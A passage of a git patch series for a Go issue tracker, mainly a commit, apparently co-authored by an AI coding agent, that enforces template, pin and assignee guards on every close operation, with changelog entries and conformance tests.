56.2, + "TestProxiedServerPurgeWispsPlaneRetention": 20.91, + "TestProxiedServerQuery": 9.29, + "TestProxiedServerQuick": 21.8, + "TestProxiedServerReady": 96.02, + "TestProxiedServerReady2": 61.85, + "TestProxiedServerReadyB": 43.87, + "TestProxiedServerReadyC": 74.0, + "TestProxiedServerReadyClaimConcurrent": 7.96, + "TestProxiedServerReadyConcurrent": 9.66, + "TestProxiedServerReadyWisp": 95.28, + "TestProxiedServerReassignFence": 31.82, + "TestProxiedServerReclaim": 0.52, + "TestProxiedServerRecomputeBlocked": 56.46, + "TestProxiedServerRelate": 70.72, + "TestProxiedServerReopen": 66.48, + "TestProxiedServerReopenB": 59.36, + "TestProxiedServerReopenConcurrent": 48.76, + "TestProxiedServerSQL": 2.47, + "TestProxiedServerSQLDatabaseFlag": 13.98, + "TestProxiedServerSQLStatementRouting": 1.43, + "TestProxiedServerSearch": 33.73, + "TestProxiedServerServeActivatesTheEventsJournal": 9.88, + "TestProxiedServerServeAddComment": 1.6, + "TestProxiedServerServeAddDependencies": 5.68, + "TestProxiedServerServeBatchClose": 4.48, + "TestProxiedServerServeClaim": 5.07, + "TestProxiedServerServeClaimNext": 9.38, + "TestProxiedServerServeClose": 13.13, + "TestProxiedServerServeCount": 7.19, + "TestProxiedServerServeCreate": 1.13, + "TestProxiedServerServeDelete": 3.95, + "TestProxiedServerServeEdgeCounts": 10.32, + "TestProxiedServerServeLifecycle": 0.05, + "TestProxiedServerServeModeGate": 23.65, + "TestProxiedServerServeReadParity": 3.51, + "TestProxiedServerServeReadRevision": 3.24, + "TestProxiedServerServeReadsTheJournalItJustWrote": 16.7, + "TestProxiedServerServeRefusesAStaleCheckpointWithGone": 16.72, + "TestProxiedServerServeRefusesAStreamOnADisabledJournal": 7.45, + "TestProxiedServerServeRefusesTheJournalWhenItIsDisabled": 12.84, + "TestProxiedServerServeRelatedIssues": 7.45, + "TestProxiedServerServeRelease": 1.96, + "TestProxiedServerServeRemoveDependency": 3.87, + "TestProxiedServerServeSettingsWrites": 1.94, + "TestProxiedServerServeStreamsTheJournalItIsWriting": 24.92, + "TestProxiedServerServeUpdate": 7.19, + "TestProxiedServerServeUpdateClaim": 5.33, + "TestProxiedServerSetState": 4.87, + "TestProxiedServerShow": 77.15, + "TestProxiedServerShow2": 110.3, + "TestProxiedServerShow2B": 88.13, + "TestProxiedServerShow3": 53.11, + "TestProxiedServerShow3B": 77.05, + "TestProxiedServerShowB": 59.27, + "TestProxiedServerShowWatch": 58.3, + "TestProxiedServerStale": 3.77, + "TestProxiedServerState": 74.91, + "TestProxiedServerStatus": 7.78, + "TestProxiedServerStatuses": 1.42, + "TestProxiedServerStorageClass": 72.09, + "TestProxiedServerSwarm": 4.54, + "TestProxiedServerTag": 24.55, + "TestProxiedServerTodo": 24.62, + "TestProxiedServerTypes": 2.06, + "TestProxiedServerTypesAgreeWithCreate": 16.18, + "TestProxiedServerUnclaim": 6.9, + "TestProxiedServerUnclaimIfAssigneeParity": 23.02, + "TestProxiedServerUpdate": 99.24, + "TestProxiedServerUpdate2": 66.73, + "TestProxiedServerUpdate2B": 106.27, + "TestProxiedServerUpdate2C": 27.48, + "TestProxiedServerUpdate3": 108.59, + "TestProxiedServerUpdateB": 84.72, + "TestProxiedServerUpdateC": 118.83, + "TestProxiedServerUpdateClosePolicy": 34.08, + "TestProxiedServerUpdateConcurrentAppendNotes": 6.24, + "TestProxiedServerUpdateConcurrentClaim": 9.59, + "TestProxiedServerUpdateConcurrentMetadata": 8.05, + "TestProxiedServerUpdateHooks": 24.63, + "TestProxiedServerUpdateIfGuards": 31.82, + "TestProxiedServerUpdateWisp": 81.79, + "TestProxiedServerWispCreate": 33.64, + "TestProxiedServerWispCreateRejectsEnumViolatingVar": 10.52, + "TestProxiedServerWispGC": 56.11, + "TestProxiedServerWispList": 36.71, + "TestServerModeDeferAutoWake": 8.1, + "TestServerModeServe": 0.03, + "TestServerModeServeSkipsPostRunMaintenance": 20.92, + "TestServerModeSharedServeGlobalReportsTheServedDatabase": 21.54, + "TestServerModeTypesAgreeWithCreate": 17.63 } } diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index 9d1867f6b..c0c61c9aa 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -220,7 +220,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { } } -// S3: the Bazel-only 44-shard block is not frozen like the legacy 15-shard +// S3: the Bazel-only 34-shard block is not frozen like the legacy 15-shard // block (TestShardScriptsListOnlyRealTests's B1 fix catches outright // corruption, but not a committed block that has drifted from the currently // discovered TestProxiedServer*/TestServerMode* test set, e.g. a test added, From 6d27a4f96e7fb74e2db516d7be9c80475f59dbef Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 18:30:42 +0000 Subject: [PATCH 193/325] fix(issueops): enforce the close guards on every close leg (#7425) * fix(issueops): enforce the close guards on every close leg The template read-only guard, the pin guard and the assignee authority fence (be-035) lived only in cmd/bd (validateIssueClosable), so a close through bd serve, issues:batchClose, a batch:apply close item or a library caller of Lifecycle.Close / BatchCloser / BatchApplier closed what bd close refused. They now run inside the close's own transaction in CloseIssueCheckedInTx (enforceCloseGuardsInTx), the body every checked close shares (dolt, embedded, uow, and the server behind httpapi), for a target that is not already closed: - a template refuses with *issueops.TemplateReadOnlyError (no bypass); - unless Force (CloseRequest, CloseBatchRequest, CloseItem) is set, a pinned issue refuses with *issueops.PinnedError and another actor's bead with *issueops.CloseNotAssigneeError (matches ErrNotOwner). Wire: 409 template_read_only, issue_pinned and not_assignee (holder in `assignee`, also on a batch-close outcome); the client rebuilds the typed errors. The decision is one exported pure rule over the pre-image, issueops.CheckClosable (internal/storage/issueops), which the in-tx guard calls; bd close's direct and proxied preflights call it too, ahead of gate satisfaction under the same already-closed skip, so bd close output, refusal order and exit codes are unchanged (validateIssueClosable is gone). bd close --if-revision now applies the guards too. Conformance: RunLifecycleCloseEnforcesTheCloseGuards, RunBatchCloserItemsAnswerToTheCloseGuards and RunBatchApplyCloseItemsAnswerToTheCloseGuards on dolt, embedded, uow and http, plus handler mapping tests, a CheckClosable table test, and a cmd/bd test pinning that the guards outrank gate satisfaction. Co-Authored-By: Claude Opus 5.5 * fix(httpclient): send force on the raw close; scope the close guards Review fixes for #7425 (adopt-pr bd-0h0ao4, iterations 1 and 2). The raw close keeps parity over http. httpclient.Store.CloseIssue maps the off-role raw close onto the role's closeIssue op and sent force=false. With the guards in the role, a pinned or claimed target then refused (409 issue_pinned / not_assignee) on http only: dolt, embedded and proxied run the raw close as issueops.CloseIssueInTx, which applies neither the guards nor close policy. The molecule auto-close, `bd gate resolve`, `bd todo done` and `bd human dismiss` all make that call, and its signature carries no force a caller could pass. It now sends force. Over http that also stops applying close policy to the raw close, which it did at base and no other backend does; parity is the point, so that goes too. The template guard has no bypass on the wire, so a template still refuses the raw close over http where the other backends close it; no raw caller is known to close one. TestServedRawCloseKeepsParityWithTheOtherBackends closes both pin spellings, a held bead and a parent with an open child through Store.CloseIssue and requires the template refusal; with force back to false it fails on 409 issue_pinned. The close guards stay on the close verbs. A status update that crosses into the done category (`bd update -s closed`, PATCH, a batchApply update item) still answers to close policy only, so it closes a pinned issue or another actor's bead on every backend, as it did before this PR. Guarding it changes what the update legs admit and needs its own refusal mapping on PATCH and batchApply, so it is left for a follow-up; the update.go and domain/db comments now say the exclusion is deliberate. CHANGELOG: the entry moves from Fixed to Changed as BREAKING, is scoped to the close operations, names the two paths the guards do not cover, and adds a Migration line (send force or reclaim; templates are never closable). Docs: the OpBatchCloseIssues item codes, the CloseIssueChecked and CloseIssueOptions.Force docs (storage, dolt, embeddeddolt), the oracle-a scenario strings that named the retired validateIssueClosable, and the TestCloseCheckOne_CloseGuardsOutrankGateSatisfaction doc, which claimed a proxied route it does not drive. Iteration 2: the wire contract says what force waives. The OpenAPI `force` members of CloseIssueRequest, BatchCloseRequest and ApplyCloseItem said force bypasses close policy "and nothing else"; it also waives the pin and the assignee guard, and never the template guard. The batchClose "only two answers" paragraph now says the same, and types.gen.go is regenerated (`make api-gen`). "Close guards" names the close operations instead of "every route to a close" and adds that a status update into the done category is not one, and the PATCH done-crossing paragraph says a patch is never refused `issue_pinned` or `not_assignee`. The conformance comments that quoted the old Force sentence (batch_apply_contract.go, batch_closer_contract.go, lifecycle_close_reopen_contract.go) quote the current docs, and the batch_apply failure message no longer says Force does nothing else. CHANGELOG: a `close` line of `bd batch` is named among the raw closes, and "a template is never closable" becomes "the close operations never close a template, forced or not". The storage interface CloseIssue gains a doc that states its HTTP exception. TestCloseGuardRefusalsPrintTheGuardSentenceOnEveryRoute pins the sentence `bd close` prints for each guard (template, pin, assignee) through each printer (closeDirectRefusal, closeDirectTypedRefusal, closeProxiedRefusal, closeProxiedTypedRefusal), with the refusal bare, wrapped by the use case and the SQL repository, or inside a served problem envelope. One pinned refusal also goes through closeProxiedOutcomes and closeProxiedFailures, where the stderr line and the `--json` error field must both be the sentence. Six overlay mutants fail it: closeGuardRefusal recognizing no guard, or not the pin, and each of the four printers skipping its call to closeGuardRefusal. Not done here: a CLI test that `--if-revision` exits 1 on a guard refusal, not ExitGuardMismatch. External PR #7372 carries per-id fence tests for that route (6 of 7 pass at this head); they are better absorbed with credit than rewritten. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .../scripts/embedded-storage-test-shards.txt | 1 + CHANGELOG.md | 28 +++ backend/conformance/batch_apply_contract.go | 104 +++++++++- backend/conformance/batch_closer_contract.go | 100 ++++++++- .../lifecycle_close_reopen_contract.go | 196 +++++++++++++++++- backend/conformance/role_bundle_cases.go | 3 + cmd/bd/close.go | 2 +- cmd/bd/close_direct.go | 76 +++++-- cmd/bd/close_failure_report_test.go | 106 ++++++++++ cmd/bd/close_gate_test.go | 80 +++++++ cmd/bd/close_proxied_server.go | 18 +- cmd/bd/show_unit_helpers.go | 16 -- cmd/bd/show_unit_helpers_test.go | 59 ------ internal/httpapi/BUILD.bazel | 1 + internal/httpapi/apigen/types.gen.go | 15 +- internal/httpapi/batch_apply.go | 7 +- internal/httpapi/batch_close.go | 11 + internal/httpapi/close_guards_test.go | 163 +++++++++++++++ internal/httpapi/problem.go | 55 ++++- internal/httpapi/spec/openapi.v0.yaml | 111 +++++++--- .../httpapi/wireshape/testdata/golden.json | 6 + internal/httpclient/batchcloser.go | 34 ++- internal/httpclient/lifecycle.go | 18 +- .../httpclient/served_batch_apply_test.go | 4 + .../httpclient/served_batch_close_test.go | 7 + .../httpclient/served_claim_lifecycle_test.go | 69 ++++++ internal/httpclient/wire/client.go | 6 +- internal/httpclient/wire/problem.go | 17 +- internal/httpclient/wire/writes.go | 4 +- .../storage/dolt/batch_apply_contract_test.go | 5 + .../dolt/batch_closer_contract_test.go | 6 + internal/storage/dolt/issues.go | 6 +- .../lifecycle_close_reopen_contract_test.go | 3 + internal/storage/domain/db/issue.go | 8 +- .../embeddeddolt/batch_apply_contract_test.go | 3 + .../batch_closer_contract_test.go | 6 + internal/storage/embeddeddolt/issues.go | 6 +- .../lifecycle_close_reopen_contract_test.go | 3 + internal/storage/issueops/BUILD.bazel | 2 + internal/storage/issueops/close.go | 14 ++ internal/storage/issueops/close_guard.go | 112 ++++++++++ internal/storage/issueops/close_guard_test.go | 55 +++++ internal/storage/issueops/update.go | 15 +- internal/storage/storage.go | 18 +- .../storage/uow/batch_apply_contract_test.go | 3 + .../storage/uow/batch_closer_contract_test.go | 1 + .../lifecycle_close_reopen_contract_test.go | 3 + internal/validation/issue.go | 4 +- issueops/batchapplier.go | 3 +- issueops/batchcloser.go | 12 +- issueops/errors.go | 45 ++++ issueops/issueops.go | 20 +- issueops/template_errors.go | 5 +- .../harness/scenarios/enumerated.json | 4 +- 54 files changed, 1464 insertions(+), 215 deletions(-) create mode 100644 internal/httpapi/close_guards_test.go create mode 100644 internal/storage/issueops/close_guard.go create mode 100644 internal/storage/issueops/close_guard_test.go diff --git a/.github/scripts/embedded-storage-test-shards.txt b/.github/scripts/embedded-storage-test-shards.txt index da78fa452..0b2f4d259 100644 --- a/.github/scripts/embedded-storage-test-shards.txt +++ b/.github/scripts/embedded-storage-test-shards.txt @@ -417,6 +417,7 @@ 20 15 TestCreateBatchFastPathsMatchPerRowLarge_Embedded 20 15 TestDoltCommitResponseLossIsIndeterminate 20 15 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing +20 15 TestEmbeddedBatchCloserItemsAnswerToTheCloseGuards 20 15 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest 20 15 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop 20 15 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy diff --git a/CHANGELOG.md b/CHANGELOG.md index 77b8fc52d..230391fdc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -202,6 +202,34 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 amendment to a released migration must land as a new migration (0070+, or ignored 0028+, as of this change) so installed schemas and freshly-migrated ones cannot fork. +- **BREAKING: the close guards now hold for every close operation, not only + `bd close`.** The template read-only guard, the pin guard and the assignee + authority fence (be-035) used to be a pre-read in `cmd/bd`, so a close + through `bd serve` (`POST /v0/beads/issues/{id}:close`), `issues:batchClose`, + a `close` item of `issues:batchApply`, or a library caller of + `issueops.Lifecycle.Close`, `BatchCloser` or `BatchApplier` closed a + template, a pinned issue, or a bead another actor holds that `bd close` + refused. They now live in the role, inside the close's own transaction, on + every backend: a template refuses with `*issueops.TemplateReadOnlyError` (no + bypass), and unless `Force` is set a pinned issue refuses with + `*issueops.PinnedError` and another actor's bead with + `*issueops.CloseNotAssigneeError` (matching `ErrNotOwner`). Over HTTP they + are `409` `template_read_only`, `issue_pinned` and `not_assignee` (the + holder in `assignee`, also on a batch-close outcome), and the client + rebuilds the same typed errors. `bd close` prints the same lines and exits + as before, and `bd close --if-revision`, which skipped the guards, now + applies them too. Two paths stay outside the guards. The raw storage + `CloseIssue`, which the molecule auto-close, a `close` line of `bd batch` + and the other closes `cmd/bd` makes outside `bd close` use, runs neither the + guards nor close policy on dolt, embedded or proxied; over HTTP it now sends + `force`, so there it also stops applying close policy, and only a template + refuses. A status update into the done category (`bd update -s closed`, a + `PATCH` whose `status` is done, an `update` item of `issues:batchApply`) + answers to close policy only, as before, so it still closes a pinned issue + or another actor's bead. Migration: HTTP and library callers that close + pinned issues or beads another actor holds must send `force` (`Force` on the + request), or reclaim the bead first; the close operations never close a + template, forced or not (pour it instead). ### Fixed - **An update of a template is now refused for every caller, not only diff --git a/backend/conformance/batch_apply_contract.go b/backend/conformance/batch_apply_contract.go index 6da619b21..c2ac269d9 100644 --- a/backend/conformance/batch_apply_contract.go +++ b/backend/conformance/batch_apply_contract.go @@ -882,9 +882,12 @@ func RunBatchApplyEvaluatesExpectedAssigneeAsModified(t *testing.T, ctx context. // close it. The refusal is the assertion; the rollback of the parent it created // is what says the refusal took the request with it. // -// POSITIVE HALF: the identical request with Force lands, which is the whole of -// what Force does ("bypasses blocker and open-child close policy, and nothing -// else") and the proof that the refusal was the policy rather than the shape. +// POSITIVE HALF: the identical request with Force lands, and that is the proof +// the refusal was the policy rather than the shape. Force "bypasses blocker and +// open-child close policy, the pin and the assignee fence, and never the +// template guard" (batchapplier.go), and the parent trips no guard — the +// unforced half reached the policy, which the guards run before — so the +// policy is the only refusal Force had to waive. func RunBatchApplyClosePolicyEvaluatesAtTheCloseItem(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { t.Helper() parent := fixture.IssuePrefix + "-closepolicy-parent" @@ -924,7 +927,7 @@ func RunBatchApplyClosePolicyEvaluatesAtTheCloseItem(t *testing.T, ctx context.C t.Errorf("%s status = %q under Force, want %q", parent, got, types.StatusClosed) } if got := batchApplyColumn(t, ctx, fixture, "status", child); got != string(types.StatusOpen) { - t.Errorf("%s status = %q, want %q: Force bypasses the close policy and nothing else", child, got, types.StatusOpen) + t.Errorf("%s status = %q, want %q: Force waives the parent's close policy, it does not close the child", child, got, types.StatusOpen) } assertBatchApplyTypedEdgeCount(t, ctx, fixture, child, parent, string(publicops.DepParentChild), 1) } @@ -2561,3 +2564,96 @@ func RunBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T, ctx conte t.Errorf("%s carries no gc.self key: the splice that finishes a template's own create must land", created) } } + +// RunBatchApplyCloseItemsAnswerToTheCloseGuards pins that a close item answers +// to the close guards Lifecycle.Close states, under CloseRequest's rules: a +// template refuses forced or not, a pin and another actor's bead refuse unless +// the item's Force is set. A refusal is the item's *ItemError carrying the +// guard's typed error, and the request is all or nothing, so the create item +// ahead of it does not land. +// +// The assignee case is AS-MODIFIED: the holder is set by an update item of the +// same request, so a guard that read the row before the request began — or not +// at all — closes it. +func RunBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + template := fixture.IssuePrefix + "-closeguard-template" + pinned := fixture.IssuePrefix + "-closeguard-pinned" + held := fixture.IssuePrefix + "-closeguard-held" + bystander := fixture.IssuePrefix + "-closeguard-bystander" + for _, issue := range []*types.Issue{ + {ID: template, IsTemplate: true}, + {ID: pinned, Pinned: true}, + {ID: held}, + } { + issue.Title, issue.Status, issue.Priority, issue.IssueType = issue.ID, types.StatusOpen, 2, types.TypeTask + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + plan := func(target string, force bool, extra ...publicops.ApplyItem) publicops.ApplyBatchRequest { + closeItem := batchApplyClose(publicops.Ref{ID: target}) + closeItem.Close.Force = force + items := []publicops.ApplyItem{batchApplyCreate("bystander", batchApplyIssue(bystander, "must not land beside a refusal"))} + items = append(items, extra...) + return publicops.ApplyBatchRequest{Actor: "apply-closer", ForceIDPrefix: true, Items: append(items, closeItem)} + } + refused := func(label string, request publicops.ApplyBatchRequest, check func(error)) { + t.Helper() + _, err := fixture.BatchApplier.ApplyBatch(ctx, request) + var itemErr *publicops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("%s: error = %v, want an *ItemError", label, err) + } + if itemErr.Kind != publicops.ItemClose || itemErr.Index != len(request.Items)-1 { + t.Errorf("%s: ItemError = %#v, want the close item at index %d", label, itemErr, len(request.Items)-1) + } + check(err) + assertBatchApplyRowCount(t, ctx, fixture, "issues", bystander, 0) + } + + for _, force := range []bool{false, true} { + refused("template close item", plan(template, force), func(err error) { + var refusal *publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) || refusal.IssueID != template { + t.Errorf("template close item (force=%v) = %v, want *TemplateReadOnlyError naming %s", force, err, template) + } + }) + } + refused("pinned close item", plan(pinned, false), func(err error) { + var refusal *publicops.PinnedError + if !errors.As(err, &refusal) || refusal.IssueID != pinned { + t.Errorf("pinned close item = %v, want *PinnedError naming %s", err, pinned) + } + }) + assign := batchApplyUpdate(publicops.Ref{ID: held}, publicops.IssuePatch{Assignee: publicops.Field[string]{Set: true, Value: "holder"}}) + refused("held close item", plan(held, false, assign), func(err error) { + var refusal *publicops.CloseNotAssigneeError + if !errors.As(err, &refusal) { + t.Errorf("close item on a bead an earlier item assigned away = %v, want *CloseNotAssigneeError", err) + return + } + if refusal.IssueID != held || refusal.Assignee != "holder" || refusal.Actor != "apply-closer" { + t.Errorf("assignee refusal = %#v, want IssueID %q, Assignee holder, Actor apply-closer", refusal, held) + } + }) + for _, id := range []string{template, pinned, held} { + if got := batchApplyColumn(t, ctx, fixture, "status", id); got != string(types.StatusOpen) { + t.Errorf("%s status after the refusals = %q, want it still open", id, got) + } + } + + // The item's Force waives the pin and the assignee fence. + forcedPin := plan(pinned, true) + forcedPin.Items = forcedPin.Items[1:] + batchApplyMust(t, ctx, fixture, forcedPin) + forcedHeld := plan(held, true, assign) + forcedHeld.Items = forcedHeld.Items[1:] + batchApplyMust(t, ctx, fixture, forcedHeld) + for _, id := range []string{pinned, held} { + if got := batchApplyColumn(t, ctx, fixture, "status", id); got != string(types.StatusClosed) { + t.Errorf("%s status under the item's Force = %q, want %q", id, got, types.StatusClosed) + } + } +} diff --git a/backend/conformance/batch_closer_contract.go b/backend/conformance/batch_closer_contract.go index fde364126..a62b7a667 100644 --- a/backend/conformance/batch_closer_contract.go +++ b/backend/conformance/batch_closer_contract.go @@ -39,9 +39,10 @@ import ( // still reports OpenChildren (batchcloser.go:81-86); a duplicated id is one // of those at its own index, and the first occurrence's reason is what the // row keeps (batchcloser.go:28-33). -// - Force is request-wide and bypasses only blocker and open-child policy; -// the per-item precondition its clause also names is a category the request -// type keeps EMPTY (batchcloser.go:43-53). +// - Force is request-wide and bypasses blocker and open-child policy, the +// pin and the assignee fence, never the template guard; the per-item +// precondition its clause also names is a category the request type keeps +// EMPTY (batchcloser.go:43-55). // - ClaimNext runs after the closes, inside the same transaction, and only // when at least one item closed (batchcloser.go:55-70, 100-103, 143-146). // - LANDED means CHANGED: an all-idempotent batch earns no claim and records @@ -1397,3 +1398,96 @@ func requireBatchCloserWisps(t *testing.T, fixture BatchCloserFixture) { t.Skipf("fixture has no CreateWisp: this backend cannot seed the ephemeral plane, so the ephemeral rules are UNPINNED here") } } + +// RunBatchCloserItemsAnswerToTheCloseGuards pins that every item of a batch +// answers to the close guards Lifecycle.Close states — template, pin, assignee +// — as a PER-ITEM refusal carrying the same typed error, while the survivors +// still commit; and that the request-wide Force waives the pin and the +// assignee fence and never the template. +// +// The guarded items sit between two plain ones, so an implementation that +// aborted the batch on a guard, or skipped the guard for items after the +// first, fails here rather than in `bd close a b c`. +func RunBatchCloserItemsAnswerToTheCloseGuards(t *testing.T, ctx context.Context, fixture BatchCloserFixture) { + t.Helper() + first := fixture.IssuePrefix + "-guard-first" + template := fixture.IssuePrefix + "-guard-template" + pinned := fixture.IssuePrefix + "-guard-pinned" + held := fixture.IssuePrefix + "-guard-held" + last := fixture.IssuePrefix + "-guard-last" + seedBatchCloserIssue(t, ctx, fixture, first) + seedBatchCloserIssue(t, ctx, fixture, last) + for _, issue := range []*types.Issue{ + {ID: template, IsTemplate: true}, + {ID: pinned, Status: types.StatusPinned}, + {ID: held, Assignee: "holder"}, + } { + issue.Title, issue.Priority, issue.IssueType = issue.ID, 2, types.TypeTask + if issue.Status == "" { + issue.Status = types.StatusOpen + } + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + + result, err := fixture.Closer.CloseBatch(ctx, publicops.CloseBatchRequest{ + Actor: "closer", + Items: []publicops.BatchCloseItem{{IssueID: first}, {IssueID: template}, {IssueID: pinned}, {IssueID: held}, {IssueID: last}}, + }) + if err != nil { + t.Fatalf("CloseBatch over guarded items: %v, want per-item refusals", err) + } + if len(result.Outcomes) != 5 { + t.Fatalf("outcomes = %d, want 5", len(result.Outcomes)) + } + for _, i := range []int{0, 4} { + if result.Outcomes[i].Err != nil || !result.Outcomes[i].Changed { + t.Errorf("outcome %d (%s) = %+v, want the plain item to land", i, result.Outcomes[i].IssueID, result.Outcomes[i]) + } + } + var templateRefusal *publicops.TemplateReadOnlyError + if !errors.As(result.Outcomes[1].Err, &templateRefusal) || templateRefusal.IssueID != template { + t.Errorf("template item = %v, want *TemplateReadOnlyError naming %s", result.Outcomes[1].Err, template) + } + var pinRefusal *publicops.PinnedError + if !errors.As(result.Outcomes[2].Err, &pinRefusal) || pinRefusal.IssueID != pinned { + t.Errorf("pinned item = %v, want *PinnedError naming %s", result.Outcomes[2].Err, pinned) + } + var assigneeRefusal *publicops.CloseNotAssigneeError + if !errors.As(result.Outcomes[3].Err, &assigneeRefusal) { + t.Errorf("held item = %v, want *CloseNotAssigneeError", result.Outcomes[3].Err) + } else if assigneeRefusal.IssueID != held || assigneeRefusal.Assignee != "holder" || assigneeRefusal.Actor != "closer" { + t.Errorf("held item refusal = %#v, want IssueID %q, Assignee holder, Actor closer", assigneeRefusal, held) + } + for _, i := range []int{1, 2, 3} { + if result.Outcomes[i].Issue != nil { + t.Errorf("refused outcome %d carries an Issue snapshot, want nil beside Err", i) + } + } + assertBatchCloserStatus(t, ctx, fixture, first, types.StatusClosed) + assertBatchCloserStatus(t, ctx, fixture, last, types.StatusClosed) + assertBatchCloserStatus(t, ctx, fixture, template, types.StatusOpen) + assertBatchCloserStatus(t, ctx, fixture, pinned, types.StatusPinned) + assertBatchCloserStatus(t, ctx, fixture, held, types.StatusOpen) + + forced, err := fixture.Closer.CloseBatch(ctx, publicops.CloseBatchRequest{ + Actor: "closer", + Items: []publicops.BatchCloseItem{{IssueID: template}, {IssueID: pinned}, {IssueID: held}}, + Force: true, + }) + if err != nil { + t.Fatalf("forced CloseBatch over guarded items: %v", err) + } + if !errors.Is(forced.Outcomes[0].Err, publicops.ErrTemplateReadOnly) { + t.Errorf("forced template item = %v, want ErrTemplateReadOnly: force never waives read-only", forced.Outcomes[0].Err) + } + for _, i := range []int{1, 2} { + if forced.Outcomes[i].Err != nil || !forced.Outcomes[i].Changed { + t.Errorf("forced outcome %d (%s) = %+v, want force to bypass the guard", i, forced.Outcomes[i].IssueID, forced.Outcomes[i]) + } + } + assertBatchCloserStatus(t, ctx, fixture, template, types.StatusOpen) + assertBatchCloserStatus(t, ctx, fixture, pinned, types.StatusClosed) + assertBatchCloserStatus(t, ctx, fixture, held, types.StatusClosed) +} diff --git a/backend/conformance/lifecycle_close_reopen_contract.go b/backend/conformance/lifecycle_close_reopen_contract.go index 2395cfa3c..c11556181 100644 --- a/backend/conformance/lifecycle_close_reopen_contract.go +++ b/backend/conformance/lifecycle_close_reopen_contract.go @@ -846,11 +846,12 @@ func RunLifecycleCloseAndReopenSpanTheConfiguredDoneCategory(t *testing.T, ctx c // RunLifecycleExpectedVersionIsCheckedBeforeTheNoOps pins the ORDERING clause // both requests spell out. CloseRequest.ExpectedVersion "requires the current -// row version to match and is checked before an idempotent close" -// (issueops/issueops.go:295-300); ReopenRequest.ExpectedVersion is "checked -// before a non-done no-op" (:272-275); and Close's own doc adds "ExpectedVersion +// row version to match, and is checked BEFORE the idempotent close" +// (issueops/issueops.go:362-373); ReopenRequest.ExpectedVersion is "checked +// before a non-done no-op" (:390-391); and Close's own doc adds "ExpectedVersion // is checked first, including for an idempotent close", with Force bypassing -// "blocker and open-child policy" and nothing else (:364-365). +// "the pin, the assignee fence, and blocker and open-child policy" and nothing +// else (:485-498). // // The dangerous shape is not a stale version on a live mutation — it is a stale // version on the request that would have done nothing anyway. An implementation @@ -1383,13 +1384,14 @@ func RunLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers(t *testing.T, c // RunLifecycleCloseAdmitsATransitivelyBlockedTarget uses clears the first and // not the second, and closing the child to clear the second would take the // second subject with it, since a closed row cannot be blocked and so has -// nothing left to flip. Force waives close policy and nothing else — -// CloseRequest.Force "bypasses only blocker and open-child close policy" and -// "never bypasses validation, ExpectedVersion, or lifecycle rules" -// (issueops/issueops.go:310-311) — so it is the shape that keeps both subjects -// observable, and it is not exotic: it is the same forced close of a -// blocked issue that RunLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked -// is built on. +// nothing left to flip. Force waives close policy, the pin and the assignee +// fence, and nothing else — CloseRequest.Force "bypasses blocker and +// open-child close policy and the two close guards a force has always waived +// in bd" and "never bypasses the template guard, validation, ExpectedVersion, +// or lifecycle rules" (issueops/issueops.go:357-360) — so it is the shape that +// keeps both subjects observable, and it is not exotic: it is the same forced +// close of a blocked issue that +// RunLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked is built on. // // All three legs reach ONE body here (internal/storage/issueops.closeIssueInTx), // so this is a wrapper and engine check rather than a third vote, exactly as @@ -1822,3 +1824,175 @@ func (c *lifecycleCloseReopenEventCounter) assertNoneAdded(t *testing.T, label s } c.total = total } + +// RunLifecycleCloseEnforcesTheCloseGuards pins the three close guards +// issueops.Lifecycle.Close states before close policy — template read-only, +// the pin, and the assignee authority fence (be-035) — on the role itself, so +// every caller of it is held to them and not only `bd close`, which used to +// apply them as a CLI pre-read the served and library routes skipped. +// +// Each refusal is asserted at the level a caller acts on: the typed error with +// its fields, its sentinel, and the sentence bd prints — read off the typed +// error, because a served refusal wraps it in the problem envelope — plus the +// row and the event stream left untouched. Force is asserted as the bypass for +// exactly the two guards it has always waived, and NOT for the template. +// +// The controls are load-bearing too: an unassigned issue and one held by the +// closing actor under a different spelling both close unforced, so a guard +// that refused every assigned row, or compared verbatim, fails here. A wisp +// case proves the guard reads the plane the close writes. A pinned issue with +// an open child reads the PIN's refusal, pinning the order (guards before +// policy). And a forced close of a boolean-pinned issue leaves the pin set, so +// the plain retry must stay the idempotent no-op (ga-ktn9pe.4.8) rather than +// refuse on the residue. +func RunLifecycleCloseEnforcesTheCloseGuards(t *testing.T, ctx context.Context, fixture LifecycleCloseReopenFixture) { + t.Helper() + + template := fixture.IssuePrefix + "-lcg-template" + statusPinned := fixture.IssuePrefix + "-lcg-status-pinned" + flagPinned := fixture.IssuePrefix + "-lcg-flag-pinned" + held := fixture.IssuePrefix + "-lcg-held" + respelled := fixture.IssuePrefix + "-lcg-respelled" + unassigned := fixture.IssuePrefix + "-lcg-unassigned" + pinnedParent := fixture.IssuePrefix + "-lcg-pinned-parent" + pinnedChild := fixture.IssuePrefix + "-lcg-pinned-child" + wisp := fixture.IssuePrefix + "-lcg-wisp-held" + + seed := func(issue *types.Issue) { + t.Helper() + issue.Title, issue.Priority, issue.IssueType = issue.ID, 2, types.TypeTask + if issue.Status == "" { + issue.Status = types.StatusOpen + } + if err := 